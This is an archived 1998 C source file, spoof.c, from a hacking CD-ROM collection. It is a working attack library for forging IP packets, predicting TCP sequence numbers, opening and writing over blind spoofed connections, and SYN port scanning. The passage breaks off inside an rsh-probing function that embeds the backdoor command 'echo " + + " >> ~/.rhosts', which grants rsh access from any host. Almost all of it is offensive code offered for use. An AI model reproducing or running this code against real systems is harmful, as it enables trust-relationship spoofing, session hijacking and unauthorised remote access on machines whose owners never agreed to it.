home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / misc / spoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  28.3 KB  |  1,105 lines
  1. /* w00w00! */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <fcntl.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/wait.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/stat.h>
  12. #include <netdb.h>
  13. #include <netinet/in.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/ip_icmp.h>
  16. #include <netinet/ip_tcp.h>
  17. #include <netinet/udp.h>
  18.  
  19. #define  ERROR         -1
  20.  
  21. #define  IPHDRSIZE     sizeof(struct iphdr)
  22. #define  ICMPHDRSIZE   sizeof(struct icmphdr)
  23. #define  TCPHDRSIZE    sizeof(struct tcphdr)
  24. #define  PSEUDOHDRSIZE sizeof(struct pseudohdr)
  25. #define  UDPHDRSIZE    sizeof(struct udphdr)
  26.  
  27. /****************************************************************************/
  28. /* structure of the pseudo header                                           */
  29. /****************************************************************************/
  30.  
  31. struct pseudohdr {
  32.     unsigned long saddr;
  33.     unsigned long daddr;
  34.     unsigned char protocol;
  35.     unsigned int  leng;
  36.     char useless;
  37. };
  38.  
  39. struct nnn { u_long ip; } myip;
  40.                                                                 
  41. struct s_hdr {
  42.   __u32 s_ack:32;
  43.   __u32 s_seq:32;
  44.   __u32 s_da_ip:32;
  45.   __u32 s_ip:32;
  46.   __u16 s_sport:16;
  47.   __u16 s_dport:16;
  48. } spoof_hdr;
  49.  
  50.  
  51.  
  52. #ifdef SYSV
  53. #define bcopy(s1,s2,len) memcpy(s2,s1,len)
  54. #endif
  55.  
  56. /****************************************************************************/
  57. /*
  58.  * in_cksum --
  59.  *  Checksum routine for Internet Protocol family headers (C Version)
  60.  */
  61. /****************************************************************************/
  62.  
  63. unsigned short in_cksum(addr, len)
  64.     u_short *addr;
  65.     int len;
  66. {
  67.     register int nleft  = len;
  68.     register u_short *w = addr;
  69.     register int sum    = 0;
  70.     u_short answer      = 0;
  71.  
  72.     /*
  73.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  74.      * sequential 16 bit words to it, and at the end, fold back all the
  75.      * carry bits from the top 16 bits into the lower 16 bits.
  76.      */
  77.     while (nleft > 1)  {
  78.         sum   += *w++;
  79.         nleft -= 2;
  80.     }
  81.  
  82.     /* mop up an odd byte, if necessary */
  83.     if (nleft == 1) {
  84.         *(u_char *)(&answer) = *(u_char *)w ;
  85.         sum += answer;
  86.     }
  87.  
  88.     /* add back carry outs from top 16 bits to low 16 bits        */
  89.     sum    = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  90.     sum   += (sum >> 16);                  /* add carry           */
  91.     answer = ~sum;                         /* truncate to 16 bits */
  92.     return(answer);
  93. }
  94.  
  95.  
  96. /****************************************************************************/
  97. /*                          SEND A PAKET TCP!                               */
  98. /*                                                                          */
  99. /*  usage: send_pkt(socket, ip of source, ip of dest, source port, dest     */
  100. /*                  port, flags, seq_num, ack_num, window size, *data,      */
  101. /*            size of data);                                          */
  102. /*                                        */
  103. /****************************************************************************/
  104.  
  105. void send_pkt(s, s_ip, d_ip, s_port, d_port, flags, seq_num, ack_num,
  106.               winsize, data, data_size)
  107.    int s;
  108.    unsigned long s_ip;
  109.    unsigned long d_ip;
  110.    unsigned int  s_port;
  111.    unsigned int  d_port;
  112.    unsigned char flags;
  113.    unsigned long seq_num;
  114.    unsigned long ack_num;
  115.    unsigned int  winsize;
  116.    unsigned char *data;
  117.    unsigned int  data_size;
  118.  
  119. {
  120.    struct   sockaddr_in sin_dst;
  121.    struct   iphdr       *ip;
  122.    struct   tcphdr      *tcp;
  123.    struct   pseudohdr   *pseudo;
  124.    unsigned char        *DATA;
  125.    unsigned char        packet[2048];
  126.    int i;
  127.    
  128.    ip     = (struct iphdr      *)packet;
  129.    pseudo = (struct pseudohdr  *)(packet + IPHDRSIZE - PSEUDOHDRSIZE);
  130.    tcp    = (struct tcphdr     *)(packet + IPHDRSIZE);
  131.    DATA   = (unsigned char     *)(packet + IPHDRSIZE + TCPHDRSIZE);
  132.    
  133.    memset(packet, 0, 2048);                     
  134.    memcpy(DATA, data, data_size);                                 
  135.                                                  
  136.    pseudo->saddr    = s_ip;
  137.    pseudo->daddr    = d_ip;
  138.    pseudo->useless  = 0;
  139.    pseudo->protocol = 6;
  140.    pseudo->leng     = htons(TCPHDRSIZE + data_size);
  141.                             
  142.    tcp->th_sport    = htons(s_port);
  143.    tcp->th_seq      = htonl(seq_num);
  144.    tcp->th_ack      = htonl(ack_num);
  145.    tcp->th_off      = 5;
  146.    tcp->th_flags    = flags;
  147.    tcp->th_win      = htons(winsize);
  148.     
  149.    tcp->th_urp=0;     
  150.    tcp->th_dport    = htons(d_port );
  151.    tcp->th_sum      = 0;
  152.    tcp->th_sum      = in_cksum(pseudo, TCPHDRSIZE + PSEUDOHDRSIZE + data_size);
  153.                  
  154.    memset(packet, 0, IPHDRSIZE);
  155.             
  156.    ip->saddr        = s_ip;
  157.    ip->daddr        = d_ip;
  158.    ip->version      = 4;
  159.    ip->ihl             = 5; 
  160.    ip->ttl          = 245;
  161.    ip->protocol     = 6; 
  162.    ip->tot_len      = htons(IPHDRSIZE + TCPHDRSIZE + data_size);
  163.    ip->tos          = 0;
  164.    ip->id           = random() % 1256;
  165.    ip->frag_off     = 0;
  166.    ip->check        = 0;
  167.    ip->check        = in_cksum(packet, IPHDRSIZE);
  168.             
  169.    sin_dst.sin_addr.s_addr = ip->daddr;
  170.    sin_dst.sin_family      = AF_INET;     
  171.         
  172.    i = sendto(s, packet, IPHDRSIZE + TCPHDRSIZE + data_size, 0,
  173.              (struct sockaddr *)&sin_dst, sizeof(struct sockaddr)); 
  174.  
  175.    if (i == ERROR) {
  176.     perror("sendto");
  177.     exit(ERROR);
  178.    }
  179.  
  180. }
  181.  
  182.  
  183. /****************************************************************************/
  184. /*                          SEND A UDP PACKET                               */
  185. /* usage: udp_send(socket, addr of source, addr of dest, port source,       */
  186. /*                 port of dest, *data, size of data);                      */
  187. /****************************************************************************/
  188.  
  189. void udp_send(s, s_addr, d_addr, s_port, d_port, datagram, datasize)
  190.     int s;
  191.     unsigned long  s_addr;
  192.     unsigned long  d_addr;
  193.     unsigned short s_port;
  194.     unsigned short d_port;
  195.     char     *datagram;
  196.     unsigned datasize;
  197. {
  198.  
  199.   struct   sockaddr_in sin;
  200.   struct   udphdr      *udp;
  201.   struct   iphdr       *ip;
  202.   unsigned char        *data;
  203.   unsigned char        packet[1024];
  204.   int i;
  205.  
  206.   ip     = (struct iphdr     *)packet; 
  207.   udp    = (struct udphdr    *)(packet+IPHDRSIZE);
  208.   data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
  209.        
  210.   memset(packet, 0, 1024);
  211.  
  212.   udp->source  = htons(s_port); 
  213.   udp->dest    = htons(d_port);
  214.   udp->len     = htons(UDPHDRSIZE+datasize);
  215.   memcpy(data, datagram, datasize);
  216.  
  217.   udp->check    = 0;         
  218.  
  219.   memcpy(data, datagram, datasize);
  220.         
  221.   memset(packet, 0, IPHDRSIZE);
  222.         
  223.   ip->saddr    = s_addr;
  224.   ip->daddr    = d_addr;
  225.   ip->version  = 4;
  226.   ip->ihl      = 5;
  227.   ip->ttl      = 245;
  228.   ip->id       = random()%5985;
  229.   ip->protocol = 17;
  230.   ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  231.   ip->check    = 0;
  232.   ip->check    = in_cksum((char *)packet,IPHDRSIZE);
  233.                                                                         
  234.                                                                         
  235.  
  236.   sin.sin_family      = AF_INET;
  237.   sin.sin_addr.s_addr = d_addr;
  238.   sin.sin_port        = udp->dest;
  239.  
  240.   i = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
  241.             (struct sockaddr*)&sin, sizeof(struct sockaddr));
  242.  
  243.   if (i == ERROR) {
  244.     perror("sendto");
  245.     exit(ERROR);
  246.   }
  247.  
  248. }
  249.  
  250.  
  251. /****************************************************************************/
  252. /*                          SEND A ICMP PACKET                              */
  253. /*  icmp_echo(socket fd, source, destinatiton, id, sequence number, data,   */
  254. /*            datasize);                            */
  255. /****************************************************************************/
  256. /* IN TEST !!!!!!!                                */
  257. /*
  258. void icmp_echo(s, src, dest, id, seq, data, datasize)
  259.     int  s;
  260.     unsigned long int src;
  261.     unsigned long int dest;
  262.     int  id;
  263.     int  seq;
  264.     char *data;
  265.     unsigned int datasize;
  266.  
  267. {
  268.   unsigned char        *packet;
  269.   unsigned char        *icmpdata;
  270.   struct   iphdr       *ip;
  271.   struct   icmphdr     *icmp;
  272.   struct   sockaddr_in sin_dst;
  273.   int n;
  274.  
  275.   packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + datasize + 1);
  276.   if (packet == NULL) {
  277.     perror("malloc");
  278.     exit(ERROR);
  279.   }
  280.  
  281.   ip       = (struct iphdr   *)packet;
  282.   icmp     = (struct icmphdr *)(packet + IPHDRSIZE);
  283.   icmpdata = (char           *)(packet + IPHDRSIZE + ICMPHDRSIZE);
  284.  
  285.   ip->saddr             =  src;
  286.   ip->daddr             =  dest;
  287.   ip->version           =  4;
  288.   ip->ihl               =  5;
  289.   ip->ttl               =  255;
  290.   ip->protocol          =  1;
  291.   ip->tot_len           =  htons(IPHDRSIZE + ICMPHDRSIZE + datasize);
  292.   ip->tos               =  0;
  293.   ip->id                =  0;
  294.   ip->frag_off          =  0;
  295.   ip->check              =  0;
  296.   ip->check              =  in_cksum(ip, IPHDRSIZE);
  297.   icmp->type             =  8;
  298.   icmp->code             =  0;
  299.   icmp->checksum         =  0;
  300.   icmp->un.echo.id       =  id;
  301.   icmp->un.echo.sequence =  seq;
  302.   memcpy(icmpdata, data, datasize);
  303.  
  304.   icmp->checksum          = in_cksum(icmp, ICMPHDRSIZE + datasize);
  305.  
  306.   sin_dst.sin_addr.s_addr = ip->daddr;
  307.   sin_dst.sin_family      = AF_INET;
  308.  
  309.   n = sendto(s, packet, IPHDRSIZE + ICMPHDRSIZE + datasize, 0,
  310.           (struct sockaddr*)&sin_dst, sizeof(struct sockaddr));
  311.  
  312.   if (n == ERROR) {
  313.         perror("sendto");
  314.         free(packet);
  315.         exit(ERROR);
  316.   }
  317.  
  318.   free(packet);
  319. }
  320. */
  321.  
  322. /****************************************************************************/
  323. /*                         TEST IF  A HOST IS ALIVE                   */
  324. /*                                                                          */
  325. /*                       Not implemented yet                           */
  326. /****************************************************************************/ 
  327.  
  328.  
  329. /****************************************************************************/
  330. /*                   RECV PAKET                                     */
  331. /*  get_pkt(socket, *buffer, size of the buffer);                           */
  332. /****************************************************************************/
  333. int get_pkt(int s, unsigned char *data, int size)
  334. {
  335.   struct sockaddr_in sin;
  336.   int len, resu;
  337.  
  338.   len = sizeof(sin);
  339.   resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  340.   if (resu == ERROR) {
  341.     perror("recvfrom");
  342.     exit(ERROR);
  343.   }
  344.  
  345.   return resu;
  346. }        
  347.      
  348. /****************************************************************************/
  349. /*                     GET THE SEQ NUMBER                                   */
  350. /*  get_seq (source ip, destination ip, source port)                        */
  351. /****************************************************************************/
  352.  
  353. unsigned long get_seq(s_ip, d_ip, s_port)
  354.   unsigned long s_ip; 
  355.   unsigned long d_ip;
  356.   unsigned int  s_port;
  357.  
  358. {
  359.   struct   tcphdr       *tcp;
  360.   struct   iphdr        *ip;
  361.   unsigned char         data[400];
  362.   unsigned long         ack_num = 0;
  363.  
  364.   int  s, s_r, S_port; 
  365.   int  i = 1,  er;
  366.   int  timeout = 0, on = 1;
  367.  
  368.   ip  = (struct iphdr  *)data;
  369.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  370.   memset(data, 0, 399);
  371.  
  372.   S_port = random() % 1000;
  373.  
  374.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR)  {
  375.     perror("socket");
  376.     exit(ERROR);
  377.   }
  378.  
  379.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR)  {
  380.     perror("socket");
  381.     exit(ERROR);
  382.   }
  383.  
  384.   if ((ioctl(s,   FIONBIO, &on)) == ERROR) {
  385.     perror("ioctl");
  386.     exit(ERROR);
  387.   }
  388.  
  389.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  390.     perror("ioctl");
  391.     exit(ERROR);
  392.   }
  393.    
  394.   #ifdef IP_HDRINCL
  395.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  396.   if (er == ERROR) {
  397.     perror("setsockopt");
  398.     exit(ERROR);
  399.   }
  400.   #endif 
  401.  
  402.   send_pkt(s, s_ip, d_ip, S_port, s_port, TH_SYN, 1234, 0, 512, NULL, 0);
  403.  
  404.   while(timeout < 480) {
  405.        get_pkt(s_r, data, 398);
  406.              
  407.        if(ip->saddr == d_ip) {
  408.              if(tcp->th_dport == htons(S_port))
  409.                   if(tcp->th_sport == htons(s_port))
  410.                       if(tcp->th_flags & TH_ACK) {
  411.                          printf(" Seq. num is %lu\n", ntohl(tcp->th_seq));
  412.                          ack_num = ntohl(tcp->th_seq);
  413.                          break;
  414.                       } 
  415.                      
  416.              usleep(10000);
  417.              timeout++;
  418.        }
  419.   }
  420.  
  421.   close(s);
  422.   close(s_r);
  423.   return ack_num;
  424. } 
  425.  
  426. /****************************************************************************/
  427. /*                     PORT PROBER                                          */
  428. /* usage:  pprobe(ip of destination, port, flags)                           */
  429. /****************************************************************************/
  430.  
  431. int pprobe(da_ip, port, flags)
  432.    unsigned long da_ip;
  433.    unsigned short int port; 
  434.    int flags;
  435. {
  436.   struct    tcphdr       *tcp;
  437.   struct    iphdr        *ip, *ipr;
  438.   unsigned  char         data[400];
  439.   unsigned  char         datar[400];
  440.   int s, s_r, sicmp;
  441.   int resu;
  442.   int timeout = 0;
  443.   int on = 1;
  444.   int er, i;
  445.  
  446.   ip  = (struct iphdr  *)data;
  447.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  448.   ipr = (struct iphdr  *)data;
  449.  
  450.   memset(data, 0, 399);
  451.  
  452.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  453.     perror("socket");
  454.     exit(ERROR);
  455.   }
  456.  
  457.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  458.     perror("socket");
  459.     exit(ERROR);
  460.   }
  461.  
  462.   if ((sicmp = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {    
  463.     perror("socket");
  464.     exit(ERROR);
  465.   }
  466.  
  467.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  468.     perror("ioctl");
  469.     exit(ERROR);
  470.   }
  471.  
  472.   if ((ioctl(sicmp, FIONBIO, &on)) == ERROR) {
  473.     perror("ioctl");
  474.     exit(ERROR);
  475.   }
  476.  
  477.          
  478.   #ifdef IP_HDRINCL
  479.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  480.   if (er == ERROR) {
  481.     perror("setsockopt");
  482.     exit(ERROR);
  483.   }
  484.   #endif
  485.             
  486.  
  487.   send_pkt(s, myip.ip, da_ip, 2669, port, flags, 1234, 0, 512, NULL, 0);
  488.   resu = -1;
  489.  
  490.   while(timeout < 80) {
  491.  
  492.     data[0]  = '0';
  493.         datar[0] = '0';
  494.         usleep(100000);
  495.  
  496.         timeout++;
  497.  
  498.         get_pkt(s_r,   data,  399);
  499.         get_pkt(sicmp, datar, 399);
  500.  
  501.         if(datar[0] != '0') {
  502.         resu = -1;
  503.             printf("ICMP!\n");
  504.             goto fin;
  505.       }
  506.  
  507.       if(data[0] != '0') 
  508.               if(ip->saddr == da_ip)
  509.               if(tcp->th_dport == htons(2669))
  510.                  if(tcp->th_sport == htons(port)) {
  511.                      resu = (tcp->th_flags |  TH_ACK);
  512.                      if(resu==18)resu = 0;    
  513.                      if(resu==20)resu = -1;
  514.                      break;   
  515.                  }
  516.              
  517.               
  518.      
  519.   }
  520.  
  521.   fin:
  522.     if (timeout > 79) printf(" Time Out");
  523.  
  524.   close(s);
  525.   close(s_r);
  526.   close(sicmp);
  527.   return resu;
  528. }          
  529.  
  530. /*****************************************************************************/
  531. /* pprobeS (ip victim, flags, FILE files, port limit)                        */
  532. /*****************************************************************************/
  533.  
  534. int pprobeS(da_ip, flags, files, limit)
  535.     unsigned long da_ip;
  536.     int flags;
  537.     FILE *files;
  538.     u_int limit;
  539. {
  540.   struct   tcphdr       *tcp;
  541.   struct   iphdr        *ip, *ipr;
  542.   unsigned char         data[400], datar[400];
  543.   int   s, s_r, sicmp;
  544.   int   resu;
  545.   int   timeout = 0;
  546.   int   i       = 1;
  547.   u_int lim     = 0;
  548.   int er;
  549.  
  550.   bzero(data, 400);
  551.  
  552.   ip  = (struct iphdr  *)data;
  553.   tcp = (struct tcphdr *)(data + IPHDRSIZE);
  554.   ipr = (struct iphdr  *)data;
  555.  
  556.  
  557.   if ((s =  socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  558.     perror("socket");
  559.     exit(ERROR);
  560.   }
  561.  
  562.   if((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  563.     perror("socket");
  564.     exit(ERROR);
  565.   }
  566.  
  567.   if ((sicmp = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  568.     perror("socket");
  569.     exit(ERROR);
  570.   }
  571.  
  572.   /* ioctl(s_r,FIONBIO,&on);   */
  573.   /* ioctl(sicmp,FIONBIO,&on); */
  574.  
  575.          
  576.   #ifdef IP_HDRINCL
  577.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  578.   if (er == ERROR) {
  579.     perror("setsockopt");
  580.     exit(ERROR);
  581.   }
  582.   #endif
  583.             
  584.   resu = -1;
  585.   lim  =  1;
  586.  
  587.   while(lim < limit) {
  588.     send_pkt(s, myip.ip, da_ip, 2669, lim, flags, 1234, 0, 
  589.                  512, NULL, 0);
  590.  
  591.     data[0] = '0', datar[0] = '0';  
  592.  
  593.     get_pkt(s_r, data , 399);
  594.         
  595.        if(data[0] != '0')
  596.            if(ip->saddr == da_ip)
  597.               if(tcp->th_dport == htons(2669))
  598.                  if(tcp->th_sport != htons(2669)) {                    
  599.                          resu = (tcp->th_flags | TH_ACK);
  600.                          if(resu == 18) {
  601.                          printf("the port %d is open!\n", 
  602.                 ntohs(tcp->th_sport));
  603.                            fprintf(files,"%d\n", ntohs(tcp->th_sport));
  604.                              fflush(files); 
  605.                               goto fin;
  606.                          } 
  607.                  }
  608.     
  609.     fin:
  610.         lim++;
  611.   }
  612.  
  613.   if (timeout > 79) printf(" Time Out");
  614.  
  615.   close(s);
  616.   close(s_r);
  617.   close(sicmp);
  618.   return resu;
  619. }          
  620.  
  621.  
  622.  
  623.                                                                                
  624. /****************************************************************************/
  625. /*                       UDP PORT PROBER                                    */
  626. /* usage: Upprobe(ip of destination, port)                                  */
  627. /****************************************************************************/
  628.  
  629. int Upprobe(unsigned long da_ip, unsigned short int port)
  630. {
  631.   struct   sockaddr_in  sin_dst;
  632.   struct   icmphdr      *icmp;
  633.   struct   iphdr        *ip;
  634.   unsigned char         data[400];
  635.   int  s, s_r;
  636.   int  i = 0;
  637.   int  resu;
  638.  
  639.   ip  =  (struct iphdr   *)data;
  640.   icmp = (struct icmphdr *)(data+IPHDRSIZE);
  641.   memset(data, 0, 399);
  642.  
  643.   if ((s = socket(AF_INET, SOCK_DGRAM, 17)) == ERROR) {
  644.     perror("socket");
  645.     exit(ERROR);
  646.   }
  647.  
  648.   if ((ioctl(s, FIONBIO, &i)) == ERROR) {
  649.     perror("ioctl");
  650.     exit(ERROR);
  651.   }
  652.  
  653.   sin_dst.sin_family      = AF_INET;
  654.   sin_dst.sin_port        = htons(port);
  655.   sin_dst.sin_addr.s_addr = da_ip;
  656.   sendto(s, NULL, 0, 0, (struct sockaddr *)&sin_dst, sizeof(sin_dst));
  657.  
  658.   if ((s_r = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  659.     perror("socket");
  660.     exit(ERROR);
  661.   }
  662.  
  663.   i = 1;
  664.  
  665.   if ((ioctl(s_r, FIONBIO, &i)) == ERROR) {
  666.     perror("ioctl");
  667.     exit(ERROR);
  668.   }
  669.           
  670.   resu = -1;  
  671.  
  672.   while (1) {
  673.     data[0] = '0';
  674.     get_pkt(s_r, data, 399);
  675.  
  676.     if(data[0] != '0') { 
  677.         printf(" ???\n");
  678.           if(ip->saddr == da_ip)
  679.               if(ip->protocol == 1) {
  680.                   resu = 0;     
  681.                   goto fin;
  682.               } else
  683.               resu = -1;
  684.         }  
  685.   }
  686.  
  687.   fin:
  688.     return resu;
  689.  
  690. } 
  691.          
  692. /****************************************************************************/
  693. /*                     Make a spoofed connection                            */
  694. /*                                                                          */
  695. /* usage(socket, source ip, destination ip, source port, destination port,  */
  696. /*       your ip)                                     */
  697. /****************************************************************************/
  698.  
  699. int Sconnect(s, s_ip, d_ip, s_port, d_port, myhost)
  700.     int s;
  701.     unsigned long  s_ip;
  702.     unsigned long  d_ip;
  703.     unsigned short int s_port;
  704.     unsigned short int d_port;
  705.     unsigned long  myhost;
  706.  
  707. { 
  708.  
  709.   int loop;
  710.  
  711.   spoof_hdr.s_seq   = 1;
  712.   spoof_hdr.s_da_ip = d_ip;
  713.   spoof_hdr.s_ip    = s_ip;
  714.   spoof_hdr.s_sport = s_port;
  715.   spoof_hdr.s_dport = d_port;
  716.   spoof_hdr.s_ack   = get_seq(myhost, d_ip, d_port);
  717.  
  718.   if(spoof_hdr.s_ack == 0) {
  719.     printf(" Too Slow\n");
  720.     return(2);
  721.   }
  722.  
  723.   send_pkt(s, s_ip, d_ip, s_port, d_port, TH_SYN, spoof_hdr.s_seq, 
  724.        1, 512, NULL, 0);
  725.  
  726.   for(loop = 1; loop < 8; loop++) {
  727.     spoof_hdr.s_seq = spoof_hdr.s_seq;
  728.     printf(" spoof ack +64000 * %d + 1 = %lu\n",
  729.         loop, (u_long) spoof_hdr.s_ack + (64000 * loop) + 1);
  730.     send_pkt(s, s_ip, d_ip, s_port, d_port, TH_ACK, spoof_hdr.s_seq + 1, 
  731.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0); 
  732.   }
  733.  
  734.   spoof_hdr.s_seq++;
  735.   return(0);
  736. }
  737.  
  738. /****************************************************************************/
  739. /*               Spoofed write  (need to use Sconnect before this)          */
  740. /* usage:  Swrite (socket, *data, size of data );                           */
  741. /****************************************************************************/
  742.  
  743.  
  744. void Swrite(int s, u_char *data, int size)
  745. {
  746.   int loop;
  747.  
  748.   for(loop = 1; loop < 8; loop++) {
  749.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport, 
  750.              spoof_hdr.s_dport, (TH_PUSH|TH_ACK), spoof_hdr.s_seq, 
  751.              spoof_hdr.s_ack + (64000 * loop) + 1, 14360, data, size);
  752.   }
  753.  
  754.   spoof_hdr.s_seq = spoof_hdr.s_seq+size;
  755. }   
  756.  
  757.  
  758. /****************************************************************************/
  759. /* Spoofed write 2                                */
  760. /* usage: Swrites(s, *data);                                */
  761. /****************************************************************************/
  762. void Swrites(int s, char *data)
  763. {
  764.     int size;
  765.     size = strlen(data);
  766.     Swrite(s, data, size);
  767. }
  768.  
  769.  
  770. /****************************************************************************/
  771. /* RESET CONNETION                                */
  772. /****************************************************************************/
  773.  
  774. void Srst(int s)
  775. {
  776.   int loop;
  777.  
  778.   for(loop = 1; loop < 8; loop++) {
  779.     send_pkt(s,spoof_hdr.s_ip,  spoof_hdr.s_da_ip,
  780.                  spoof_hdr.s_sport, spoof_hdr.s_dport,
  781.                  TH_FIN, spoof_hdr.s_seq, spoof_hdr.s_ack +
  782.          (64000 * loop) + 1, 14360, NULL, 0);
  783.   }
  784.  
  785.   for(loop=1; loop < 8; loop++) {
  786.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport,
  787.              spoof_hdr.s_dport, TH_ACK, spoof_hdr.s_seq, 
  788.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0);
  789.  
  790.   }
  791.  
  792. }   
  793.  
  794.  
  795. /****************************************************************************/
  796. /*           Test if a host is spoofable                                    */
  797. /* usage: Stest (myhost,ip dest , port of dest);                            */
  798. /****************************************************************************/
  799.  
  800. int Stest(unsigned long myhost, unsigned long ip_d, unsigned short d_port)
  801. {
  802.   u_long resu;
  803.   u_long resu1;
  804.   u_long resu2;
  805.   u_long resu3;
  806.   int done = -1;
  807.  
  808.  
  809.   resu   = get_seq(myhost, ip_d, d_port);
  810.   resu1  = get_seq(myhost, ip_d, d_port);
  811.   resu2  = get_seq(myhost, ip_d, d_port);
  812.   resu3  = get_seq(myhost, ip_d, d_port);
  813.  
  814.  
  815.   if(((resu1 - resu)  == 64000) || ((resu1 - resu)  == 128000)) done = 0;
  816.   if(((resu3 - resu2) == 64000) || ((resu3 - resu2) == 128000)) done = 0;
  817.  
  818.   return  done;
  819.  
  820. }
  821.  
  822. /****************************************************************************/
  823. /*    get the ip from a host -l ouput file                                  */
  824. /* usage: IPFILES( *the src file, *the output file);                        */
  825. /****************************************************************************/
  826.  
  827. void IPFILES(FILE *DA, FILE *trace)
  828. {
  829.   char ipz[256];
  830.   int oki;
  831.  
  832.   while(!feof(DA)) {                
  833.      int size;
  834.  
  835.      fscanf(DA , "%s", ipz);  
  836.       
  837.      size = strspn(ipz, "aAeEiIoOuUyYgG");
  838.      if (size <= 0) oki = 1;
  839.  
  840.      if(oki == 1) {  
  841.         fprintf(trace, "%s\n", ipz );
  842.         fflush(trace);
  843.         oki = 0;
  844.      }
  845.           
  846.      if(feof(DA)) break;
  847.         
  848.   }
  849.  
  850. }
  851.  
  852. /****************************************************************************/
  853. /*                  Do a port scan                        */
  854. /*  Scan2(int *input, int *output, size of *, flags, ip);              */
  855. /****************************************************************************/
  856.  
  857. void Scan2(int *ptr, int *outptr, int Size, int flags, u_long da_ip)
  858. { 
  859.   int s, i = 1, s_r, resu, timeout = 0, try = 0, on = 1;
  860.  
  861.   struct   tcphdr *tcp, *tcpr;
  862.   struct   iphdr  *ip,  *ipr;
  863.  
  864.   unsigned char   data[400];
  865.   unsigned char   datar[400];
  866.  
  867.   ip  = (struct iphdr  *)data;
  868.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  869.   ipr = (struct iphdr  *)datar;
  870.   tcpr= (struct tcphdr *)(datar+IPHDRSIZE);
  871.  
  872.   memset(outptr, 0, (Size / 2));
  873.   memset(data, 0, 399);
  874.  
  875.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  876.     perror("socket");
  877.     exit(ERROR);
  878.   }
  879.  
  880.   if ((s_r = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  881.     perror("socket");
  882.     exit(ERROR);
  883.   }
  884.  
  885.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  886.     perror("socket");
  887.     exit(ERROR);
  888.   }
  889.          
  890.   #ifdef IP_HDRINCL
  891.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  892.             == ERROR) {
  893.     perror("setsockopt");
  894.     exit(ERROR);
  895.   }
  896.   #endif
  897.             
  898.  
  899.   while(timeout < 540) {
  900.       data[0]  = '0';
  901.         datar[0] = '0';
  902.  
  903.       usleep(10000);
  904.  
  905.       timeout = timeout + 1;
  906.  
  907.           if(try < Size)
  908.          if(*(ptr + try) != 0) 
  909.         send_pkt(s, myip.ip, da_ip, 40000 - try, *(ptr + try), flags,
  910.                  1234, 0, 512, NULL, 0);
  911.  
  912.       get_pkt(s_r, datar, 399);
  913.  
  914.       if(datar[0] != '0')
  915.            if(ipr->saddr == da_ip)
  916.         if(ntohs(tcpr->th_dport) > 39000) {   
  917.                    resu = (tcpr->th_flags | TH_ACK);
  918.                    if(resu == 18) {
  919.                    *(outptr + (40000 - ntohs(tcpr->th_dport))) = 1;
  920.                           printf("The port %i responded :)\n",
  921.                 ntohs(tcpr->th_sport));
  922.                           resu = 0;
  923.                        datar[0] = '0';
  924.                    }
  925.                 }      
  926.  
  927.           try++;
  928.   }   
  929. } 
  930.  
  931.  
  932. /****************************************************************************/
  933. /*  Rtest a function for test the permission of R* service                  */
  934. /*  Rtest(ip of victim, port, *remote user, *local user);            */
  935. /****************************************************************************/
  936.  
  937. int Rtest(u_long ip, int port, char *Ruser, char *Luser)
  938. {
  939.   struct sockaddr_in adresse_serveur,adresse_client;
  940.   char   bla[2000], cmd[200], *cmdptr;
  941.   char   exe[200] = "echo \" + + \" >> ~/.rhosts";
  942.   int    socket_client, err, res;
  943.   int    longueur = sizeof(struct sockaddr_in);
  944.  
  945.   bzero(bla, 2000);
  946.   bzero(cmd, 200);
  947.   cmdptr = cmd;
  948.  
  949.   if(port == 514) {
  950.     
  951.     if((socket_client = socket(AF_INET, SOCK_STREAM, 6)) == ERROR) {
  952.         perror("socket");
  953.         exit(ERROR);
  954.         }
  955.  
  956.     adresse_client.sin_family      = AF_INET;
  957.     adresse_client.sin_addr.s_addr = htonl(INADDR_ANY);
  958.     adresse_client.sin_port        = htons(764 + 1 +(100.0 * rand() / 
  959.                                (RAND_MAX + 1.0)));
  960.         printf("port %i\n", ntohs(adresse_client.sin_port));
  961.  
  962.         res = bind(socket_client, (struct sockaddr *)&adresse_client, 
  963.            longueur);
  964.  
  965.         if (res == ERROR) {
  966.         perror("bind");
